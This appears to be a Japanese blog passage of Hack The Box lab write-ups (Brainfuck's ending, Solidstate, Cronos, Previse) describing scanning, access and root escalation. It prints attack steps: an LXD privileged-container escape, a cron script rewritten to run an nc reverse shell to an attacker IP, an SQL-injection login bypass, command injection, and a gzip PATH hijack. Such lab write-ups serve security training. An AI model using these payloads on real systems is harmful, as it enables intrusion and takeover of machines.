tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
Downloading apk-tools-static-2.12.10-r1.apk
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: 完了
Verified OK
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2565  100  2565    0     0    552      0  0:00:04  0:00:04 --:--:--   552
alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com) をDNSに問いあわせています... 93.187.10.106, 2a00:1f00:dc06:10::106
alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 2565 (2.5K) [text/plain]
`/home/kali/distrobuilder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' に保存中
/home/kali/distrobuilder/rootfs 100%[====================================================>]   2.50K  --.-KB/s 時間 0s       
`/home/kali/distrobuilder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' へ保存完了 [2565/2565]
Selecting mirror http://mirror.ps.kz/alpine//v3.17/main
fetch http://mirror.ps.kz/alpine//v3.17/main/x86_64/APKINDEX.tar.gz
(1/25) Installing alpine-baselayout-data (3.4.0-r0)
(2/25) Installing musl (1.2.3-r4)
(3/25) Installing busybox (1.35.0-r29)
Executing busybox-1.35.0-r29.post-install
(4/25) Installing busybox-binsh (1.35.0-r29)
(5/25) Installing alpine-baselayout (3.4.0-r0)
Executing alpine-baselayout-3.4.0-r0.pre-install
Executing alpine-baselayout-3.4.0-r0.post-install
(6/25) Installing ifupdown-ng (0.12.1-r1)
(7/25) Installing libcap2 (2.66-r0)
(8/25) Installing openrc (0.45.2-r7)
Executing openrc-0.45.2-r7.post-install
(9/25) Installing mdev-conf (4.3-r0)
(10/25) Installing busybox-mdev-openrc (1.35.0-r29)
(11/25) Installing alpine-conf (3.15.0-r0)
(12/25) Installing alpine-keys (2.4-r1)
(13/25) Installing alpine-release (3.17.1-r0)
(14/25) Installing ca-certificates-bundle (20220614-r4)
(15/25) Installing libcrypto3 (3.0.7-r2)
(16/25) Installing libssl3 (3.0.7-r2)
(17/25) Installing ssl_client (1.35.0-r29)
(18/25) Installing zlib (1.2.13-r0)
(19/25) Installing apk-tools (2.12.10-r1)
(20/25) Installing busybox-openrc (1.35.0-r29)
(21/25) Installing busybox-suid (1.35.0-r29)
(22/25) Installing scanelf (1.3.5-r1)
(23/25) Installing musl-utils (1.2.3-r4)
(24/25) Installing libc-utils (0.7.2-r3)
(25/25) Installing alpine-base (3.17.1-r0)
Executing busybox-1.35.0-r29.trigger
OK: 10 MiB in 25 packages
┌──(kali㉿kali)-[~/distrobuilder]
└─$ sudo python3 -m http.server 80                                                                                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...た

 

brainfuck側での操作

orestis@brainfuck:/tmp$ wget http://10.10.14.36/alpine-v3.17-x86_64-20230202_1313.tar.gz
Connecting to 10.10.14.36:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3777108 (3.6M) [application/gzip]
Saving to: ‘alpine-v3.17-x86_64-20230202_1313.tar.gz’
alpine-v3.17-x86_64-20230202_13 100%[====================================================>]   3.60M   779KB/s    in 5.4s    
‘alpine-v3.17-x86_64-20230202_1313.tar.gz’ saved [3777108/3777108]

orestis@brainfuck:/tmp$ lxc image import ./alpine-v3.17-x86_64-20230202_1313.tar.gz --alias myimage
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04
Image imported with fingerprint: bfc788ce632ef999e984eed6bccc4713ddb4e0737f075815638021925a3e5410
orestis@brainfuck:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | bfc788ce632e | no     | alpine v3.17 (20230202_13:13) | x86_64 | 3.60MB | Feb 2, 2023 at 4:31am (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+

orestis@brainfuck:/tmp$ lxc init myimage wolf -c security.privileged=true
Creating wolf
orestis@brainfuck:/tmp$ lxc config device add wolf mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to wolf
orestis@brainfuck:/tmp$ lxc start wolf
orestis@brainfuck:/tmp$ lxc exec wolf /bin/sh

~ # whoami
root
~ # cd /mnt/root/root
/mnt/root/root # ls
root.txt

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

4st1nus.gitbook.io

 

www.sakshamdixit.com

 

 

 

*1:ord(encrypted[i]) - ord(plain[i]

【Hack The Box】solidstate

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.51
Starting Nmap 7.93 ( https://nmap.org ) 
Nmap scan report for 10.10.10.51
Host is up (0.18s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 770084f578b9c7d354cf712e0d526d8b (RSA)
|   256 78b83af660190691f553921d3f48ed53 (ECDSA)
|_  256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.3 [10.10.14.3])
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.93%I=7%D=1/18%Time=63C757F3%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPl
SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo
SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/22,25,110,119,4555が開いているようです。

James Server 2.3.2というキーワードで調べるとCVE-2015-7611の情報が見つかりました。TCP/4555のJAMES Remote Administration Toolにroot/rootでアクセスできるようです。

vk9-sec.com

telnetを使用してアクセスするとログインできました。

telnetでアクセスした様子

listusersで確認するといくつかのユーザアカウントが確認できました。

また、setpasswordコマンドを使用することでユーザのパスワードが変更できました。

 

各ユーザのパスワードを変更し、popでアクセスしてメールチェックをしてみます。

 

各ユーザのメールチェック

 

www.itbook.info

mindyというユーザのみ、メールがありメールを見てみると認証情報がみつかりました。見つけたアカウントでSSH接続するとアクセスできました。

ただし、普通にSSHで接続するとrbash(制限付きbash)であるため、以下のコマンドでアクセスしました。

ssh mindy@10.10.10.51 -t "bash --noprofile"

 

アクセス取得&特権昇格

上記のコマンドでssh接続後、linpeasおよびpspyを実行してみます。

上記より、/opt/tmp.pyが書き込み可能であること、またcronで定期的にroot権限で実行されていることがわかりました。

linpeas実行結果(抜粋)



pspyの実行結果(抜粋)

※archコマンドより32bitOSであることを確認、32bint版を「./pspy32 -i 1000」等で実行

 

上記より、/opt/tmp.pyを書き換え、ncを実行させるように変更します。

echo 'import os' > /opt/tmp.py
echo 'import sys' >> /opt/tmp.py
echo 'os.system("/bin/nc 10.10.14.3 4444 -e /bin/bash")' >> /opt/tmp.py

ncで待ち受けているとrootが取得できました。

root取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

mopenten.com

 

 

 

【Hack The Box】Cronos

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.13
Starting Nmap 7.93 ( https://nmap.org ) 
Warning: 10.10.10.13 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.13
Host is up (0.18s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18b973826f26c7788f1b3988d802cee8 (RSA)
|   256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_  256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp    open     domain      ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp    open     http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
4347/tcp  filtered lansurveyor
9416/tcp  filtered unknown
17145/tcp filtered unknown
18011/tcp filtered unknown
25136/tcp filtered unknown
34257/tcp filtered unknown
46900/tcp filtered unknown
49310/tcp filtered unknown
50681/tcp filtered unknown
53099/tcp filtered unknown
64542/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/22,53,80が開いていることがわかりました。

/etc/hostsを登録することで以下のページが表示されます。

ブラウザでのアクセスの様子

dirbやnikto等では有益な情報は得られませんでした。

 

DNSについて調査します。

dgiコマンドのオプション「axfr」ではゾーン転送可能か確認できます。

dig @{dnsserver} {domain} axfr

成功すると以下のようにゾーン情報がすべて取得することができます。

┌──(kali㉿kali)-[~]
└─$ dig axfr cronos.htb @10.10.10.13 
;; Connection to 10.10.10.13#53(10.10.10.13) for cronos.htb failed: timed out.
; <<>> DiG 9.18.8-1-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 180 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Sat Jan 07 21:43:46 JST 2023
;; XFR size: 7 records (messages 1, bytes 203)

 

admin.cronos.htbというページが確認できました。

 

アクセス取得

admin.cronos.htbにアクセスすると以下のような画面が表示されます。

ブラウザでのアクセス結果

SQLインジェクションで認証バイパスを試してみたところ、以下の内容で成功しました。

admin' or 1 = 1 #

ログインすると以下のようなページが表示されます。

Burp Suiteでリクエストの内容を見てみるとPOSTでコマンド実行しているような部分が確認できました。

ログイン後のページ

Burp Suiteでリクエストを書き換えてncを実行すると待ち受け側のターミナルに接続しに来ていることが確認できました。

ただ、ncの接続はすぐ切れてしまい使用できませんでした。

nc実行時の様子

コマンドの実行ができるので、次にphp-reverse-shellをcronosにダウンロードし、リバースシェルの取得を試みます。

BurpSuiteでのリクエスト書き換え

今度はシェルが取得できました。

リバースシェル取得

特権昇格

アクセス取得後linpeasを実行するとroot権限で実行しているcronが確認できました。

linpeas.sh実行結果

また対象のファイルは「www-data」の権限であることが確認できました。

そのため、対象ファイルを先ほどのphp-reverse-shellに置き換えることでrootのアクセスが取得可能です。

artisanの権限確認

Kali側で待ち受け状態で対象ファイルをphp-reverse-shellに置き換えるとしばらくしてrootが取得できました。

root取得

参考にさせていただいたサイト

貴重な情報をありがとうございます。

qiita.com

0xdf.gitlab.io

 

 

 

【Hack The Box】Previse

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -sC -sV -A -p- 10.10.11.104
Starting Nmap 7.93 ( https://nmap.org ) 
Nmap scan report for 10.10.11.104
Host is up (0.18s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53ed4440116e8bda698579c081f23a12 (RSA)
|   256 bc5420ac1723bb5020f4e16e620f01b5 (ECDSA)
|_  256 33c189ea5973b1788438a421100c91d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/22,80が開いていることがわかりました。ブラウザでアクセスすると以下のような画面が表示されます。

ブラウザでのアクセス

dirbやniktoなどを実行しましたが特に手掛かりになる情報を見つけられませんでした。

 

アクセス取得

対象サイトにcurlを実行すると、ブラウザで表示されなかったような内容が取得できました。curlはリダイレクトに従わないため、EARの脆弱性があるページにアクセスすると、認証されたユーザーに表示されるはずのコンテンツが表示されることがあります。

curl実行結果抜粋

 

owasp.org

※今回のサイトはPHPを使用していますが、PHPの場合はdie()関数を呼び出すことで上記の脆弱性への対応ができるようです。

 

上記ページのアクセスをBurpSuiteで調べてみます。

Burpでレスポンスを取得した様子

リダイレクトされていますがレスポンスにページの内容が含まれています。

BurpSuiteでステータスコードを200に変更するとアクセスできました。

ログイン後のページ

BurpSuiteを使用してアカウント作成が可能です。

アカウントの作成成功

作成したアカウントを使用することでログインすることができました。

ログイン後のページより、「FILES」にアクセスするとサイトのバックアップが見つかりました。

サイトのバックアップファイル確認

バックアップファイルの中にはconfig.phpというファイルがあり、そこにはSQLのアカウント情報が含まれていました。

※このアカウントは後程使用します。

config.phpの内容

 

また、「logs.php」ではコマンド実行をしているコードが確認されました。

意味深なコメントがありましたが、コメントがあるのはこのファイルだけでした。

logs.phpの中身

logs.phpへのアクセスをBrup Suiteで見てみると、delimというパラメータを使用しているようでした。

logs.phpへのアクセス

logs.phpに書かれているexec関数はコマンドが記載されているだけのようであり、サニタイズなどもないので「;」に続けてpingのコマンドを入れて動作するかを確認します。

Burp SuiteでPOSTリクエストを編集

待ち受け側のターミナルでicmpの受信が確認されました。

これでPrevise上でコマンドを実行できることが確認できました。

Kali側のtcpdumpの様子

ncコマンドの実行

kaliの待ち受け側

python3 -c 'import pty;pty.spawn("/bin/bash")'でシェルをアップグレードします。

 

特権昇格

取得したシェルを使用して特権昇格します。

先程取得したMySQLのアカウントを使用してみます。

SQLへ接続

※-pの後はスペースなし

 

MySQLへ接続できたので有用な情報がないか探してみます。

PreviseというDatabaseがあるので確認してみます。

accountsというテーブル内に「m4lwhere」というユーザが確認できました。

Previseの探索

パスワードはハッシュ化されているようです。

以下のサイトで確認するとモード500の例のように見えます。

hashcat.net

 

以下のコマンドを実行するとパスワードが取得できました。

hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt

hashcat

取得したパスワードで「m4lwhere」に変更します。

このユーザはroot権限で「access_backup.sh」を実行できるようです。

「sudo -l」の実行結果

「access_backup.sh」の中身を見てみます。

シェルスクリプトの中で「gzip」というコマンドを実行しているようですが、完全なパス名ではないため、gzipを新たに作成することでroot権限が取得できます。

 

シェルスクリプトの中身

gzipというファイルを作成します。

※root権限で動作するので「root.txt」の中身を表示するcatコマンドを記載する方法もあります。

gzipの新規作成

また、あわせて作成したgzipが配置されている環境パスを指定する必要があります。

m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH


上記の後で「access_backup.sh」を実行することでroot権限が取得でき、フラグをとることができます。

フラグ獲得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

zenn.dev

www.secjuice.com